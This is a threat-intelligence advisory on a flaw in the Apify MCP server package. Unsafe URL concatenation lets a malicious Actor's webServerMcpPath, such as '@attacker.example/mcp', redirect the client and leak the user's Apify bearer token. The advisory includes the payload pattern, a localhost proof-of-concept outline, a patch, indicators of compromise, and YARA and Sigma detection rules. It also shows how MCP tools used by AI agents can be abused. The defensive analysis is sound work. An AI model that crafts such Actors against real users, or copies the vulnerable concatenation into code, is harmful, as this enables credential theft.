~/f4n6 $ grep -r "Apify Model Context Protocol (MCP) server: Actor MCP path authority injection leaks Apify token" ./investigations/ --include="*.md"

Apify Model Context Protocol (MCP) server: Actor MCP path authority injection leaks Apify token

Jeff Davies 02 Jul 2026 7 min read

1. Executive summary

@apify/actors-mcp-server version 0.10.7 is vulnerable to URL authority injection via the webServerMcpPath field in Actor definitions fetched from the Apify API. An attacker who publishes a malicious Actor with a crafted webServerMcpPath (e.g., @attacker.example/mcp) can redirect the MCP client's outbound connection to an arbitrary host while the client unconditionally attaches the victim's Authorization: Bearer <APIFY_TOKEN> header, silently exfiltrating the Apify API token. CVSS Base Score: 8.1 (High). EMEA financial services running this MCP server version with a configured Apify token face credential theft granting full account access — including running Actors, accessing stored data, and incurring compute charges — requiring no special privileges or code execution on the victim side.

2. Regulatory framing

Article Trigger (the fact in this item) Practical impact
DORA Art. 17: ICT-related incident management process Silent exfiltration of Apify API token (a credential granting full account access) constitutes an ICT-related incident requiring detection, assessment, and response. Firms using @apify/actors-mcp-server@0.10.7 must have processes to detect token exfiltration, contain it (rotate token), and remediate (patch or disable).
DORA Art. 18: classification of ICT-related incidents and cyber threats Credential theft via authority injection is a cyber threat with potential for data access and financial impact (unauthorised compute charges). Incident classification should account for credential compromise severity and potential data exposure via the Apify platform.
NIS2 Art. 21(2)(d): supply chain security measures The vulnerability is in a third-party npm package (@apify/actors-mcp-server) consumed by the organisation; the attacker exploits a malicious Actor published on the Apify platform (supply chain). Organisations must assess risk of third-party MCP server packages and Actor definitions before integration.

3. Technical analysis & attack chain

Vulnerability mechanism: getActorMCPServerURL() in src/mcp/actors.ts:44 constructs the Actor standby MCP URL by naive string concatenation:

return `${standbyUrl}${mcpServerPath}`;

mcpServerPath originates from the webServerMcpPath field of an Actor definition fetched from the Apify API (src/utils/actor.ts:24-28). The field is trimmed and comma-split in getActorMCPServerPath() (src/mcp/actors.ts:14-20) but is never validated to:

  • begin with a / (relative path),
  • avoid an @ character (userinfo/authority injection), or
  • resolve to the same origin as standbyUrl.

When webServerMcpPath is set to @attacker.example/mcp, the concatenated result becomes:

https://real-actor-id.apify.actor@attacker.example/mcp

Node.js's WHATWG URL parser treats everything before @ as userinfo and extracts attacker.example as the hostname (RFC 3986 / WHATWG URL standard).

Attack chain (confirmed steps)

  1. Attacker publishes a malicious Actor on the Apify platform with webServerMcpPath set to @attacker.example/mcp (or any attacker-controlled host).
  2. Victim running @apify/actors-mcp-server@0.10.7 is induced to invoke call-actor, fetch-actor-details, or any actor-mcp type tool against the malicious Actor.
  3. src/mcp/server.ts:811 — MCP tools/call request parameters are read.
  4. src/mcp/server.ts:816apifyToken is resolved from _meta.apifyToken, server options, or process.env.APIFY_TOKEN.
  5. src/tools/core/call_actor_common.ts:489-497 — attacker-controlled actor identifier is resolved via getActorMcpUrlCached().
  6. src/utils/actor.ts:24-28 — Actor definition is fetched from the Apify API; webServerMcpPath is passed to getActorMCPServerURL().
  7. src/mcp/actors.ts:14-20webServerMcpPath is trimmed and split; first element is returned without path validation.
  8. src/mcp/actors.ts:44standbyUrl + mcpServerPath produces an authority-injected URL.
  9. connectMCPClient() is called with the injected URL and the victim's token.
  10. src/mcp/client.ts:94/103/124Authorization: Bearer <APIFY_TOKEN> is sent to the attacker's host via three transport types:
    • SSEClientTransport requestInit (line 94)
    • SSE fetch callback (line 103)
    • StreamableHTTPClientTransport requestInit (line 124)

Three independent trigger paths to connectMCPClient()

Call site Trigger
src/tools/core/call_actor_common.ts:317 call-actor MCP tool
src/utils/actor_details.ts:155 fetch-actor-details MCP tool
src/mcp/server.ts:1047 actor-mcp type tool loading

Token resolution sources (all leak-capable)

  • _meta.apifyToken (per-request MCP metadata)
  • Server options
  • process.env.APIFY_TOKEN

Impact of token theft: The Apify API token grants full access to the victim's Apify account, including running and managing Actors, accessing stored data, and incurring compute charges.

PoC verification: The advisory includes a Docker-based PoC (vuln-001-poc) that runs fully air-gapped (--network none). The exploit:

  1. Generates a self-signed TLS certificate for 127.0.0.1 (IP SAN required for Node.js TLS validation).
  2. Installs @apify/actors-mcp-server@0.10.7 dependencies under pnpm@11.1.3.
  3. Sets NODE_EXTRA_CA_CERTS=/certs/cert.pem so Node.js trusts the self-signed CA.
  4. Runs exploit.mjs, which starts an HTTPS capture server on 127.0.0.1:31337, constructs webServerMcpPath = @127.0.0.1:31337/mcp, calls getActorMCPServerURL() producing https://apify~hello-world.apify.actor@127.0.0.1:31337/mcp, and calls connectMCPClient() with a simulated victim token apify_api_VICTIM_SECRET_TOKEN_DEMO_12345.

Observed output confirms the capture server received Authorization: Bearer apify_api_VICTIM_SECRET_TOKEN_DEMO_12345.

Node.js URL parser primitive verified

node -e "const u=new URL('https://ABC.apify.actor@127.0.0.1:31337/mcp'); console.log(u.hostname, u.username)"
# Output: 127.0.0.1  ABC.apify.actor

Confidence caveat: All technical detail is single-sourced from the GitHub Advisory (GHSA-6gr2-qh89-hxwm). The PoC is self-contained and the data-flow chain is internally consistent, but no independent corroboration was available at time of writing. Verify before enforcement.

4. Mitigation & containment

P1 — Within 24h (containment)

  1. Rotate all Apify API tokens that have been used with @apify/actors-mcp-server@0.10.7. Treat all tokens as potentially compromised if any Actor invocation against third-party Actors has occurred.
  2. Block outbound traffic from hosts running @apify/actors-mcp-server to any host not matching *.apify.actor or api.apify.com at egress proxy/firewall level. This prevents token exfiltration even if the vulnerability is triggered.
  3. Audit Actor invocations: Review logs for any call-actor, fetch-actor-details, or actor-mcp type tool calls against Actors not on an approved list. Any invocation of an unknown Actor should be treated as a potential token exfiltration event.

P2 — Within 72h (remediation)

  1. Apply the recommended fix to src/mcp/actors.ts if running from source:
--- a/src/mcp/actors.ts
+++ b/src/mcp/actors.ts
 export async function getActorMCPServerURL(realActorId: string, mcpServerPath: string): Promise<string> {
     const standbyUrl = await getActorStandbyURL(realActorId, standbyBaseUrl);

-    return `${standbyUrl}${mcpServerPath}`;
+    const url = new URL(mcpServerPath, `${standbyUrl}/`);
+    if (url.origin !== standbyUrl) {
+        throw new Error('Actor MCP server path must resolve under the Actor standby URL');
+    }
+    url.username = '';
+    url.password = '';
+    return url.toString();
 }
  1. If running from npm: Pin or upgrade to the first patched version when released. Until then, run a fork with the patch applied or disable @apify/actors-mcp-server entirely.
  2. Restrict Actor allowlist: Configure the MCP server to only invoke Actors from trusted publishers. Do not allow invocation of arbitrary user-published Actors.

P3 — Within 7 days (hardening)

  1. Implement egress allowlisting for all MCP server infrastructure: permit only *.apify.actor and api.apify.com at network level.
  2. Add runtime validation: Deploy a wrapper or middleware that intercepts connectMCPClient() calls and rejects any URL whose hostname does not match *.apify.actor.
  3. Monitor Apify account for anomalous activity: Check for unauthorised Actor runs, unexpected dataset access, or unexplained compute charges.

5. Indicators of compromise

Type Value Confidence Source
token (PoC demo) apify_api_VICTIM_SECRET_TOKEN_DEMO_12345 High (PoC artefact only — not a real IOC) GHSA-6gr2-qh89-hxwm
url pattern https://*.apify.actor@* High (authority-injection URL pattern) GHSA-6gr2-qh89-hxwm
port (PoC capture server) 127.0.0.1:31337 Medium (PoC-specific; real attacks use attacker-controlled hosts) GHSA-6gr2-qh89-hxwm
webServerMcpPath pattern @<attacker-host>/mcp High (malicious Actor definition pattern) GHSA-6gr2-qh89-hxwm
token  apify_api_VICTIM_SECRET_TOKEN_DEMO_12345
url_pattern  https://*.apify.actor@*
port  127.0.0.1:31337
webServerMcpPath_pattern  @<attacker-host>/mcp

Note: The token value above is a PoC demo token, not a real compromised credential. The URL pattern and webServerMcpPath pattern are the operationally useful detection indicators.

6. Detection

rule Apify_MCP_Token_Exfil_Authority_Injection {
    meta:
        author = "Adverse Trace"
        date = "2026-07-02"
        reference = "https://github.com/advisories/GHSA-6gr2-qh89-hxwm"
        description = "Detects Apify MCP server authority injection artefacts — webServerMcpPath with @ authority injection and token exfiltration patterns"
    strings:
        $webservermcpath_at = "webServerMcpPath" ascii
        $auth_bearer_apify = "Bearer apify_api_" ascii
        $apify_actor_host = "apify.actor@" ascii
        $getactormcpserverurl = "getActorMCPServerURL" ascii
        $connectmcpclient = "connectMCPClient" ascii
        $actors_ts_concat = "standbyUrl}${mcpServerPath}" ascii
        $poc_token = "apify_api_VICTIM_SECRET_TOKEN_DEMO_12345" ascii
        $capture_port = "127.0.0.1:31337" ascii
    condition:
        3 of them
}
title: Detect Apify MCP Server Authority Injection Token Exfiltration
id: 6a8e2f1c-3b4d-4e9a-8f1c-2a3b4c5d6e7f
status: experimental
description: Detects outbound connections from @apify/actors-mcp-server to non-apify.actor hosts carrying Authorization Bearer headers, indicating authority injection token exfiltration
references:

  - https://github.com/advisories/GHSA-6gr2-qh89-hxwm
author: Adverse Trace
date: 2026/07/02
logsource:
    product: network
    service: proxy/firewall/ids
detection:
    selection_outbound:
        destination.domain|contains:

            - "apify.actor"
    filter_legitimate:
        destination.domain|endswith:

            - ".apify.actor"
    selection_auth_header:
        http.request.header.authorization|startswith:

            - "Bearer apify_api_"
    condition: selection_auth_header and not filter_legitimate
falsepositives:

    - Legitimate Apify API calls to api.apify.com (ensure allowlist covers this)
    - Internal testing with self-signed certificates
level: high
title: Detect Malicious Actor with webServerMcpPath Authority Injection
id: 7b9f3e2d-4c5e-4f0b-9e2d-3b4c5d6e7f8a
status: experimental
description: Detects MCP tool calls referencing Actors with webServerMcpPath containing @ character (authority injection pattern)
references:

  - https://github.com/advisories/GHSA-6gr2-qh89-hxwm
author: Adverse Trace
date: 2026/07/02
logsource:
    product: application
    service: apify-actors-mcp-server
detection:
    selection_tool_call:
        event.action:

            - "call-actor"
            - "fetch-actor-details"
    selection_malicious_path:
        mcp.actor.webServerMcpPath|contains:

            - "@"
    condition: selection_tool_call and selection_malicious_path
falsepositives:

    - None expected — legitimate webServerMcpPath values should be relative paths starting with /
level: critical

7. Sources

  • GitHub Advisory Database — "Actor MCP path authority injection leaks Apify token" (GHSA-6gr2-qh89-hxwm) — https://github.com/advisories/GHSA-6gr2-qh89-hxwm — Published 2026-07-01

8. Adverse Trace position

Severity: High (CVSS 8.1). This is a credential exfiltration vulnerability requiring no privileges or code execution on the victim side — only that the victim invokes a tool against an attacker-controlled Actor. For EMEA financial services using @apify/actors-mcp-server@0.10.7 with a configured Apify token, the risk is direct: full Apify account compromise including data access and unauthorised compute charges. The attack surface is broad because any user-published Actor on the Apify platform can carry a malicious webServerMcpPath. No CISA-KEV entry was resolved for this item. Attribution is N/A (vulnerability advisory, no threat actor). All technical detail is single-sourced from GHSA-6gr2-qh89-hxwm — verify before enforcement. We will monitor for a patched version release and update this advisory when one is published. Clients running this package should rotate Apify tokens immediately and apply the source-level patch or disable the server until a patched package is available.


Read the original source →

Published via PulseTrace — Adverse Trace threat intelligence.

Post this to LinkedIn
Formatting is converted automatically — headings, bullets, a link back & hashtags. Paste straight in.
J
Jeff Davies